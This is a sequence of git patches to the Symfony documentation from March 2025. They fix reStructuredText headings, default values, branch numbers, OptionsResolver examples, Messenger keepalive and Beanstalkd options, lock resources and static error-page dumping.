     FIFO queues don't support setting a delay per message, a value of ``delay: 0``
     is required in the retry strategy settings.
 
-.. versionadded:: 7.2
-
-    Keepalive support, using the `--keepalive` option, was added in Symfony 7.2.
-
 Serializing Messages
 ~~~~~~~~~~~~~~~~~~~~
 

From c35fb93c2fa4fcf08f96d80fe9f6dee1940f2697 Mon Sep 17 00:00:00 2001
From: Christophe Coevoet <stof@notk.org>
Date: Tue, 4 Mar 2025 12:53:15 +0100
Subject: [PATCH 6758/7107] Add missing default value in the Twig reference

---
 reference/configuration/twig.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 0fcba509f31..bec117cc609 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -315,7 +315,7 @@ mailer
 html_to_text_converter
 ......................
 
-**type**: ``string`` **default**: ````
+**type**: ``string`` **default**: ``null``
 
 .. versionadded:: 6.2
 

From 159a15002ade0b3375547423890b4ddb413bde7b Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonel.ceruto@scnd.com>
Date: Tue, 4 Mar 2025 12:12:13 -0500
Subject: [PATCH 6759/7107] Update nested options examples to use setOptions
 instead of setDefault

---
 components/options_resolver.rst | 20 +++++++++++++++-----
 1 file changed, 15 insertions(+), 5 deletions(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 65685106c13..5063f5b11d9 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -662,7 +662,7 @@ default value::
 
         public function configureOptions(OptionsResolver $resolver): void
         {
-            $resolver->setDefault('spool', function (OptionsResolver $spoolResolver): void {
+            $resolver->setOptions('spool', function (OptionsResolver $spoolResolver): void {
                 $spoolResolver->setDefaults([
                     'type' => 'file',
                     'path' => '/path/to/spool',
@@ -686,6 +686,16 @@ default value::
         ],
     ]);
 
+.. deprecated:: 7.3
+
+    Defining nested option via :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::setDefault`
+    was deprecated since Symfony 7.3, use the :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::setOptions`
+    instead. Allowing to define default values for prototyped options.
+
+.. versionadded:: 7.3
+
+    The :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::setOptions` was introduced in Symfony 7.3.
+
 Nested options also support required options, validation (type, value) and
 normalization of their values. If the default value of a nested option depends
 on another option defined in the parent level, add a second ``Options`` argument
@@ -698,7 +708,7 @@ to the closure to access to them::
         public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefault('sandbox', false);
-            $resolver->setDefault('spool', function (OptionsResolver $spoolResolver, Options $parent): void {
+            $resolver->setOptions('spool', function (OptionsResolver $spoolResolver, Options $parent): void {
                 $spoolResolver->setDefaults([
                     'type' => $parent['sandbox'] ? 'memory' : 'file',
                     // ...
@@ -721,13 +731,13 @@ In same way, parent options can access to the nested options as normal arrays::
 
         public function configureOptions(OptionsResolver $resolver): void
         {
-            $resolver->setDefault('spool', function (OptionsResolver $spoolResolver): void {
+            $resolver->setOptions('spool', function (OptionsResolver $spoolResolver): void {
                 $spoolResolver->setDefaults([
                     'type' => 'file',
                     // ...
                 ]);
             });
-            $resolver->setDefault('profiling', function (Options $options): void {
+            $resolver->setOptions('profiling', function (Options $options): void {
                 return 'file' === $options['spool']['type'];
             });
         }
@@ -748,7 +758,7 @@ with ``host``, ``database``, ``user`` and ``password`` each.
 
 The best way to implement this is to define the ``connections`` option as prototype::
 
-    $resolver->setDefault('connections', function (OptionsResolver $connResolver): void {
+    $resolver->setOptions('connections', function (OptionsResolver $connResolver): void {
         $connResolver
             ->setPrototype(true)
             ->setRequired(['host', 'database'])

From 48a397695cf009a40dcde1e8c51a6b7c54b2fdac Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Wed, 5 Mar 2025 11:02:38 +0100
Subject: [PATCH 6760/7107] update internal ref in event dispatcher

---
 event_dispatcher.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 27885af267b..7372d58b8d0 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -541,7 +541,7 @@ Creating an Event Subscriber
 
 Next, you'll need to create an event subscriber, which will hold the logic
 that you want to be executed before your controllers. If you're not familiar with
-event subscribers, you can learn more about them at :doc:`/event_dispatcher`::
+event subscribers, you can learn more about :ref:`how to use them <events-subscriber>`::
 
     // src/EventSubscriber/TokenSubscriber.php
     namespace App\EventSubscriber;

From fdb7a299eea3faa163a314f02a4d6633bddea645 Mon Sep 17 00:00:00 2001
From: Markus Mauksch <87762329+mmauksch@users.noreply.github.com>
Date: Wed, 5 Mar 2025 21:22:27 +0100
Subject: [PATCH 6761/7107] Update overview.rst

Update version numbers to currently last maintained version. Intent is to make it clearer and also easier for users using Copy-Paste for git commands.

Description in the github screenshot intentionally changed to 4.4 to avoid confusion between picture and description (replacing the screenshot seemed excessive)
---
 contributing/documentation/overview.rst | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index 183910e6ac6..7095e4cbc4c 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -113,16 +113,16 @@ memorable name for the new branch (if you are fixing a reported issue, use
 
 .. code-block:: terminal
 
-    $ git checkout -b improve_install_article upstream/5.4
+    $ git checkout -b improve_install_article upstream/6.4
 
 In this example, the name of the branch is ``improve_install_article`` and the
-``upstream/5.4`` value tells Git to create this branch based on the ``5.4``
+``upstream/6.4`` value tells Git to create this branch based on the ``6.4``
 branch of the ``upstream`` remote, which is the original Symfony Docs repository.
 
 Fixes should always be based on the **oldest maintained branch** which contains
-the error. Nowadays this is the ``5.4`` branch. If you are instead documenting a
+the error. Nowadays this is the ``6.4`` branch. If you are instead documenting a
 new feature, switch to the first Symfony version that included it, e.g.
-``upstream/6.2``.
+``upstream/7.2``.
 
 **Step 5.** Now make your changes in the documentation. Add, tweak, reword and
 even remove any content and do your best to comply with the
@@ -156,7 +156,7 @@ changes should be applied:
     :alt: The base branch select option on the GitHub page.
 
 In this example, the **base fork** should be ``symfony/symfony-docs`` and
-the **base** branch should be the ``5.4``, which is the branch that you selected
+the **base** branch should be the ``4.4``, which is the branch that you selected
 to base your changes on. The **head fork** should be your forked copy
 of ``symfony-docs`` and the **compare** branch should be ``improve_install_article``,
 which is the name of the branch you created and where you made your changes.
@@ -209,7 +209,7 @@ contribution to the Symfony docs:
     # create a new branch based on the oldest maintained version
     $ cd projects/symfony-docs/
     $ git fetch upstream
-    $ git checkout -b my_changes upstream/5.4
+    $ git checkout -b my_changes upstream/6.4
 
     # ... do your changes
 
@@ -258,8 +258,8 @@ into multiple branches, corresponding to the different versions of Symfony itsel
 The latest (e.g. ``5.x``) branch holds the documentation for the development branch of
 the code.
 
-Unless you're documenting a feature that was introduced after Symfony 5.4,
-your changes should always be based on the ``5.4`` branch. Documentation managers
+Unless you're documenting a feature that was introduced after Symfony 6.4,
+your changes should always be based on the ``6.4`` branch. Documentation managers
 will use the necessary Git-magic to also apply your changes to all the active
 branches of the documentation.
 

From a20720181319a2dfdf0a6afd9ada63b09c16646a Mon Sep 17 00:00:00 2001
From: Julien Bonnier <noreply@julienbonnier.com>
Date: Wed, 5 Mar 2025 18:38:05 -0500
Subject: [PATCH 6762/7107] fix: Add missing ContainerBuilder use statement in
 Bundle documentation

---
 bundles/extension.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/bundles/extension.rst b/bundles/extension.rst
index 23318590166..607ca1404fb 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -29,6 +29,7 @@ class, you can define the :method:`Symfony\\Component\\HttpKernel\\Bundle\\Abstr
 method to load service definitions from configuration files::
 
     // ...
+    use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
     use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
 

From f235bc68949ed2b3ebd9f438cdadb48698893a2a Mon Sep 17 00:00:00 2001
From: Markus Mauksch <markus.mauksch@ea-energie.de>
Date: Wed, 5 Mar 2025 22:22:38 +0100
Subject: [PATCH 6763/7107] Fix Headings mentioned in #20716

---
 reference/configuration/security.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index d32d3c6ad43..53d1217c985 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -157,7 +157,7 @@ The possible values of this option are:
   other session attributes are lost.
 
 access_control
---------------
+~~~~~~~~~~~~~~
 
 Defines the security protection of the URLs of your application. It's used for
 example to trigger the user authentication when trying to access to the backend
@@ -166,7 +166,7 @@ and to allow unauthenticated users to the login form page.
 This option is explained in detail in :doc:`/security/access_control`.
 
 firewalls
----------
+~~~~~~~~~
 
 This is arguably the most important option of the security config file. It
 defines the authentication mechanism used for each URL (or URL pattern) of your

From cb7e5387ccc8e77a2c61849249d73ea50b143c72 Mon Sep 17 00:00:00 2001
From: Christophe Coevoet <stof@notk.org>
Date: Thu, 6 Mar 2025 13:41:32 +0100
Subject: [PATCH 6764/7107] Fix more heading levels in the security reference

---
 reference/configuration/security.rst | 85 +++-------------------------
 1 file changed, 7 insertions(+), 78 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 53d1217c985..10eabeae131 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -38,86 +38,15 @@ separate articles:
 * `role_hierarchy`_
 
 access_denied_url
-~~~~~~~~~~~~~~~~~
+-----------------
 
 **type**: ``string`` **default**: ``null``
 
 Defines the URL where the user is redirected after a ``403`` HTTP error (unless
 you define a custom access denial handler). Example: ``/no-permission``
 
-delete_cookies
-~~~~~~~~~~~~~~
-
-**type**: ``array`` **default**: ``[]``
-
-Lists the names (and other optional features) of the cookies to delete when the
-user logs out::
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                main:
-                    # ...
-                    logout:
-                        delete_cookies:
-                            cookie1-name: null
-                            cookie2-name:
-                                path: '/'
-                            cookie3-name:
-                                path: null
-                                domain: example.com
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-
-                <firewall name="main">
-                    <!-- ... -->
-                    <logout path="...">
-                        <delete-cookie name="cookie1-name"/>
-                        <delete-cookie name="cookie2-name" path="/"/>
-                        <delete-cookie name="cookie3-name" domain="example.com"/>
-                    </logout>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-
-        // ...
-
-        return static function (SecurityConfig $securityConfig): void {
-            // ...
-
-            $securityConfig->firewall('main')
-                ->logout()
-                    ->deleteCookie('cookie1-name')
-                    ->deleteCookie('cookie2-name')
-                        ->path('/')
-                    ->deleteCookie('cookie3-name')
-                        ->path(null)
-                        ->domain('example.com');
-        };
-
 erase_credentials
-~~~~~~~~~~~~~~~~~
+-----------------
 
 **type**: ``boolean`` **default**: ``true``
 
@@ -125,7 +54,7 @@ If ``true``, the ``eraseCredentials()`` method of the user object is called
 after authentication.
 
 hide_user_not_found
-~~~~~~~~~~~~~~~~~~~
+-------------------
 
 **type**: ``boolean`` **default**: ``true``
 
@@ -138,7 +67,7 @@ If ``false``, the exception thrown is of type
 and it includes the given not found user identifier.
 
 session_fixation_strategy
-~~~~~~~~~~~~~~~~~~~~~~~~~
+-------------------------
 
 **type**: ``string`` **default**: ``SessionAuthenticationStrategy::MIGRATE``
 
@@ -157,7 +86,7 @@ The possible values of this option are:
   other session attributes are lost.
 
 access_control
-~~~~~~~~~~~~~~
+--------------
 
 Defines the security protection of the URLs of your application. It's used for
 example to trigger the user authentication when trying to access to the backend
@@ -166,7 +95,7 @@ and to allow unauthenticated users to the login form page.
 This option is explained in detail in :doc:`/security/access_control`.
 
 firewalls
-~~~~~~~~~
+---------
 
 This is arguably the most important option of the security config file. It
 defines the authentication mechanism used for each URL (or URL pattern) of your
@@ -427,7 +356,7 @@ delete_cookies
 **type**: ``array`` **default**: ``[]``
 
 Lists the names (and other optional features) of the cookies to delete when the
-user logs out::
+user logs out:
 
 .. configuration-block::
 

From d49a86aba3ab1fc59ff58e98b50a7f6df318df23 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Sat, 8 Mar 2025 21:34:23 +0100
Subject: [PATCH 6765/7107] [Messenger] Clarify keepalive implementation for
 each transport

---
 messenger.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index d76e2170c09..9a5f7017097 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1729,6 +1729,13 @@ The transport has a number of options:
     The message time to run before it is put back in the ready queue - in
     seconds.
 
+The Beanstalkd transport supports the ``--keepalive`` option by using Beanstalkd's
+``touch`` command to periodically reset the job's ``ttr``.
+
+.. versionadded:: 7.2
+
+    Keepalive support was introduced in Symfony 7.2.
+
 .. _messenger-redis-transport:
 
 Redis Transport
@@ -2051,6 +2058,13 @@ The transport has a number of options:
     FIFO queues don't support setting a delay per message, a value of ``delay: 0``
     is required in the retry strategy settings.
 
+The SQS transport supports the ``--keepalive`` option by using the ``ChangeMessageVisibility``
+action to periodically update the ``VisibilityTimeout`` of the message.
+
+.. versionadded:: 7.2
+
+    Keepalive support was introduced in Symfony 7.2.
+
 Serializing Messages
 ~~~~~~~~~~~~~~~~~~~~
 

From 8b245b252fe6fd1088ea4dfe106b39786359758e Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Sat, 8 Mar 2025 23:32:42 +0100
Subject: [PATCH 6766/7107] [FrameworkBundle] Using existing services as
 lock/semaphore resources

---
 lock.rst                              | 8 ++++++++
 reference/configuration/framework.rst | 7 ++++---
 2 files changed, 12 insertions(+), 3 deletions(-)

diff --git a/lock.rst b/lock.rst
index 82ec48db572..1f149466216 100644
--- a/lock.rst
+++ b/lock.rst
@@ -62,6 +62,8 @@ this behavior by using the ``lock`` key like:
             lock: 'oci:host=127.0.0.1;dbname=app'
             lock: 'mongodb://127.0.0.1/app?collection=lock'
             lock: '%env(LOCK_DSN)%'
+            # using an existing service
+            lock: 'snc_redis.default'
 
             # named locks
             lock:
@@ -119,6 +121,9 @@ this behavior by using the ``lock`` key like:
 
                     <framework:resource>%env(LOCK_DSN)%</framework:resource>
 
+                    <!-- using an existing service -->
+                    <framework:resource>snc_redis.default</framework:resource>
+
                     <!-- named locks -->
                     <framework:resource name="invoice">semaphore</framework:resource>
                     <framework:resource name="invoice">redis://r2.docker</framework:resource>
@@ -130,6 +135,7 @@ this behavior by using the ``lock`` key like:
     .. code-block:: php
 
         // config/packages/lock.php
+        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework): void {
@@ -152,6 +158,8 @@ this behavior by using the ``lock`` key like:
                 ->resource('default', ['oci:host=127.0.0.1;dbname=app'])
                 ->resource('default', ['mongodb://127.0.0.1/app?collection=lock'])
                 ->resource('default', [env('LOCK_DSN')])
+                // using an existing service
+                ->resource('default', ['snc_redis.default'])
 
                 // named locks
                 ->resource('invoice', ['semaphore', 'redis://r2.docker'])
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 0334b918c66..f6a275067dc 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2048,7 +2048,7 @@ resources
 **type**: ``array``
 
 A map of lock stores to be created by the framework extension, with
-the name as key and DSN as value:
+the name as key and DSN or service id as value:
 
 .. configuration-block::
 
@@ -2725,7 +2725,7 @@ resources
 **type**: ``array``
 
 A map of semaphore stores to be created by the framework extension, with
-the name as key and DSN as value:
+the name as key and DSN or service id as value:
 
 .. configuration-block::
 
@@ -2756,11 +2756,12 @@ the name as key and DSN as value:
     .. code-block:: php
 
         // config/packages/semaphore.php
+        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework): void {
             $framework->semaphore()
-                ->resource('default', ['%env(SEMAPHORE_DSN)%']);
+                ->resource('default', [env('SEMAPHORE_DSN')]);
         };
 
 .. _reference-semaphore-resources-name:

From 16a923591094502c41be1fdd742bf20baf3c7ebf Mon Sep 17 00:00:00 2001
From: "Cadot.eu & Co." <97225403+cadot-eu@users.noreply.github.com>
Date: Sun, 9 Mar 2025 14:37:35 +0100
Subject: [PATCH 6767/7107] Error: Undefined Variable $texter

The variable $texter is not defined inside the method, so PHP will throw an "Undefined variable" error.
---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 2382dfee284..d2dc225f4f0 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -759,7 +759,7 @@ Now you can send notifications to your desktop as follows::
                 sprintf('%s is a new subscriber', $user->getFullName())
             );
 
-            $texter->send($message);
+            $this->texter->send($message);
         }
     }
 

From 2bae0a33bcbba91dca357f832b3ea17dfa9336a0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 6 Mar 2025 16:55:20 +0100
Subject: [PATCH 6768/7107] Update documentation format guide

---
 contributing/documentation/format.rst | 33 ++++++++++++---------------
 1 file changed, 14 insertions(+), 19 deletions(-)

diff --git a/contributing/documentation/format.rst b/contributing/documentation/format.rst
index e581d0382e4..ef17b55011e 100644
--- a/contributing/documentation/format.rst
+++ b/contributing/documentation/format.rst
@@ -2,19 +2,17 @@ Documentation Format
 ====================
 
 The Symfony documentation uses `reStructuredText`_ as its markup language and
-`Sphinx`_ for generating the documentation in the formats read by the end users,
-such as HTML and PDF.
+a custom tool called `Docs Builder`_ for generating the documentation pages.
 
 reStructuredText
 ----------------
 
 reStructuredText is a plain text markup syntax similar to Markdown, but much
-stricter with its syntax. If you are new to reStructuredText, take some time to
-familiarize with this format by reading the existing `Symfony documentation`_
-source code.
+stricter with its syntax. If you are new to reStructuredText, check out the
+`reStructuredText Primer`_ tutorial and the `reStructuredText Reference`_.
 
-If you want to learn more about this format, check out the `reStructuredText Primer`_
-tutorial and the `reStructuredText Reference`_.
+You can also take some time to familiarize with this format by reading the
+existing `Symfony documentation`_ source.
 
 .. warning::
 
@@ -24,12 +22,11 @@ tutorial and the `reStructuredText Reference`_.
     * Lists start at the beginning of a line (no indentation is allowed);
     * Inline code blocks use double-ticks (````like this````).
 
-Sphinx
-------
+Custom reStructuredText Directives
+----------------------------------
 
-Sphinx_ is a build system that provides tools to create documentation from
-reStructuredText documents. As such, it adds new directives and interpreted text
-roles to the standard reStructuredText markup. Read more about the `Sphinx Markup Constructs`_.
+The Symfony documentation includes several custom directives that extend the
+standard reStructuredText syntax.
 
 Syntax Highlighting
 ~~~~~~~~~~~~~~~~~~~
@@ -45,9 +42,9 @@ change it with the ``code-block`` directive:
 
 .. note::
 
-    Besides all of the major programming languages, the syntax highlighter
-    supports all kinds of markup and configuration languages. Check out the
-    list of `supported languages`_ on the syntax highlighter website.
+    Code highlighting is supported for all programming languages commonly used
+    in Symfony Docs, such as ``yaml``, ``xml``, ``twig``, ``html``, ``js``,
+    ``json``, ``text``, ``bash``, ``diff``, etc.
 
 .. _docs-configuration-blocks:
 
@@ -280,10 +277,8 @@ for Symfony versions that have a lower major version will be removed. For
 example, if Symfony 6.0 were released today, 5.0 to 5.4 ``versionadded`` and
 ``deprecated`` tags would be removed from the new ``6.0`` branch.
 
-.. _reStructuredText: https://docutils.sourceforge.io/rst.html
-.. _Sphinx: https://www.sphinx-doc.org/
+.. _`reStructuredText`: https://docutils.sourceforge.io/rst.html
+.. _`Docs Builder`: https://github.com/symfony-tools/docs-builder
 .. _`Symfony documentation`: https://github.com/symfony/symfony-docs
 .. _`reStructuredText Primer`: https://www.sphinx-doc.org/en/master/usage/restructuredtext/basics.html
 .. _`reStructuredText Reference`: https://docutils.sourceforge.io/docs/user/rst/quickref.html
-.. _`Sphinx Markup Constructs`: https://www.sphinx-doc.org/en/1.7/markup/index.html
-.. _`supported languages`: https://pygments.org/languages/

From 2712ab17a0b24388bc3a586bc7ec7bd0cf702741 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 4 Mar 2025 14:13:43 +0100
Subject: [PATCH 6769/7107] Use DOCtor-RST 1.67.0

---
 .doctor-rst.yaml          | 2 ++
 .github/workflows/ci.yaml | 2 +-
 2 files changed, 3 insertions(+), 1 deletion(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 258de40c750..3e804e4485f 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -41,6 +41,7 @@ rules:
     no_composer_req: ~
     no_directive_after_shorthand: ~
     no_duplicate_use_statements: ~
+    no_empty_literals: ~
     no_explicit_use_of_code_block_php: ~
     no_footnotes: ~
     no_inheritdoc: ~
@@ -118,3 +119,4 @@ whitelist:
         - '.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket'
         - 'End to End Tests (E2E)'
         - '.. versionadded:: 2.2.0' # Panther
+        - '* Inline code blocks use double-ticks (````like this````).'
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index b69e512b046..497dfd9b430 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -72,7 +72,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.66.0
+                uses: docker://oskarstark/doctor-rst:1.67.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From b529b654f9859d27fafa76fb700a53a5ec255fcd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 10 Mar 2025 09:13:55 +0100
Subject: [PATCH 6770/7107] [Messenger] Add a link to a class

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 918719615f4..36b3cc58ad4 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1794,7 +1794,7 @@ The Beanstalkd transport supports the ``--keepalive`` option by using Beanstalkd
     Keepalive support was introduced in Symfony 7.2.
 
 The Beanstalkd transport lets you set the priority of the messages being dispatched.
-Use the ``Symfony\Component\Messenger\Bridge\Beanstalkd\Transport\BeanstalkdPriorityStamp``
+Use the :class:``Symfony\\Component\\Messenger\\Bridge\\Beanstalkd\\Transport\\BeanstalkdPriorityStamp``
 and pass a number to specify the priority (default = ``1024``; lower numbers mean higher priority)::
 
     use App\Message\SomeMessage;

From 75d85bd6f082e700224c759ad27b33e2b6fe6e51 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Sat, 8 Mar 2025 22:16:20 +0100
Subject: [PATCH 6771/7107] [Messenger] Add Beanstalkd's `bury_on_reject`
 option

---
 messenger.rst | 12 ++++++++++--
 1 file changed, 10 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 36b3cc58ad4..c5edca9e9ed 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1775,8 +1775,13 @@ The Beanstalkd transport DSN may looks like this:
 
 The transport has a number of options:
 
-``tube_name`` (default: ``default``)
-    Name of the queue
+``bury_on_reject`` (default: ``false``)
+    When set to ``true``, rejected messages are placed into a "buried" state
+    in Beanstalkd instead of being deleted.
+
+    .. versionadded:: 7.3
+
+        The ``bury_on_reject`` option was introduced in Symfony 7.3.
 
 ``timeout`` (default: ``0``)
     Message reservation timeout - in seconds. 0 will cause the server to
@@ -1786,6 +1791,9 @@ The transport has a number of options:
     The message time to run before it is put back in the ready queue - in
     seconds.
 
+``tube_name`` (default: ``default``)
+    Name of the queue
+
 The Beanstalkd transport supports the ``--keepalive`` option by using Beanstalkd's
 ``touch`` command to periodically reset the job's ``ttr``.
 

From 9f396ee8cca51673b9a4b049c4709040431aedfe Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 10 Mar 2025 09:40:43 +0100
Subject: [PATCH 6772/7107] Added the missing versionadded directive

---
 lock.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/lock.rst b/lock.rst
index 1f149466216..d9d57481f3d 100644
--- a/lock.rst
+++ b/lock.rst
@@ -167,6 +167,10 @@ this behavior by using the ``lock`` key like:
             ;
         };
 
+.. versionadded:: 7.2
+
+    The option to use an existing service as the lock/semaphore was introduced in Symfony 7.2.
+
 Locking a Resource
 ------------------
 

From e6c8e7cde54ca0bf7e213e5986eb894532bd8aca Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 10 Mar 2025 10:14:04 +0100
Subject: [PATCH 6773/7107] Minor rewords

---
 controller/error_pages.rst | 43 +++++++++++++++++++-------------------
 1 file changed, 22 insertions(+), 21 deletions(-)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 00a36f3b13a..96856764ece 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -337,40 +337,41 @@ time and again, you can have just one (or several) listeners deal with them.
     and takes measures like redirecting the user to the login page, logging them
     out and other things.
 
-Dumping error pages in static HTML files
+Dumping Error Pages as Static HTML Files
 ----------------------------------------
 
-When a web server cannot handle a request or when it triggers an error without
-calling the PHP application, it will return its default error pages, instead of
-rendering the errors as defined in your application (whether it's Symfony's
-default "Oops" error page or the pages you customized in your application).
+.. versionadded:: 7.3
 
-To avoid that and always have your web server rendering your application's error
-pages, you can dump each HTTP status error in a their own static HTML files:
+    The feature to dump error pages into static HTML files was introduced in Symfony 7.3.
 
-.. code-block:: terminal
+If an error occurs before reaching your Symfony application, web servers display
+their own default error pages instead of your custom ones. Dumping your application's
+error pages to static HTML ensures users always see your defined pages and improves
+performance by allowing the server to deliver errors instantly without calling
+your application.
 
-    $ php bin/console error:dump [--force] var/cache/prod/error_pages
+Symfony provides the following command to turn your error pages into static HTML files:
 
-.. note::
+.. code-block:: terminal
 
-    By default, it will dump HTML files for each HTTP status error.
-    You can restrict that to dump only some HTTP status code by passing them as
-    in the second argument of the command.
+    # the first argument is the path where the HTML files are stored
+    $ APP_ENV=prod php bin/console error:dump var/cache/prod/error_pages/
 
-Once the static pages are generated, you can now configure your web server to use
-them instead of their default error page. Here is an example configuration with
-nginx:
+    # by default, it generates the pages of all 4xx and 5xx errors, but you can
+    # pass a list of HTTP status codes to only generate those
+    $ APP_ENV=prod php bin/console error:dump var/cache/prod/error_pages/ 401 403 404 500
+
+You must also configure your web server to use these generated pages. For example,
+if you use Nginx:
 
 .. code-block:: nginx
 
     # /etc/nginx/conf.d/example.com.conf
     server {
-        # Your existing serverconfiguration
+        # Existing server configuration
         # ...
 
-
-	# Configure nginx to serve your application's error pages
+        # Serve static error pages
         error_page 400 /error_pages/400.html;
         error_page 401 /error_pages/401.html;
         # ...
@@ -378,7 +379,7 @@ nginx:
         error_page 511 /error_pages/511.html;
 
         location ^~ /error_pages/ {
-          root /path/to/your/symfony/var/cache/error_pages;
-          internal; # allows this location block to not be triggered when a user manually call these /error_pages/.* urls
+            root /path/to/your/symfony/var/cache/error_pages;
+            internal; # prevent direct URL access
         }
     }

From abdd3c97650685da796d864225572beb5d18d2fb Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Sat, 8 Mar 2025 21:51:06 +0100
Subject: [PATCH 6774/7107] [Messenger] Keepalive support for Doctrine & Redis

---
 messenger.rst | 18 ++++++++++++------
 1 file changed, 12 insertions(+), 6 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index c5edca9e9ed..fcd4148cf51 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -555,7 +555,7 @@ the message from being redelivered until the worker completes processing it:
 
 .. note::
 
-    This option is only available for the following transports: Beanstalkd and AmazonSQS.
+    This option is only available for the following transports: Beanstalkd, AmazonSQS, Doctrine and Redis.
 
 .. versionadded:: 7.2
 
@@ -1745,13 +1745,12 @@ in the table.
     The length of time to wait for a response when calling
     ``PDO::pgsqlGetNotify``, in milliseconds.
 
-The keepalive feature, which prevents messages from being prematurely redelivered during
-long-running processing, updates the ``delivered_at`` timestamp periodically to ensure
-the message is marked as "in progress".
+The Doctrine transport supports the ``--keepalive`` option by periodically updating
+the ``delivered_at`` timestamp to prevent the message from being redelivered.
 
 .. versionadded:: 7.3
 
-    Keepalive support, using the ``--keepalive`` option, was introduced in Symfony 7.3.
+    Keepalive support was introduced in Symfony 7.3.
 
 Beanstalkd Transport
 ~~~~~~~~~~~~~~~~~~~~
@@ -1802,7 +1801,7 @@ The Beanstalkd transport supports the ``--keepalive`` option by using Beanstalkd
     Keepalive support was introduced in Symfony 7.2.
 
 The Beanstalkd transport lets you set the priority of the messages being dispatched.
-Use the :class:``Symfony\\Component\\Messenger\\Bridge\\Beanstalkd\\Transport\\BeanstalkdPriorityStamp``
+Use the :class:``Symfony\Component\Messenger\Bridge\Beanstalkd\Transport\BeanstalkdPriorityStamp``
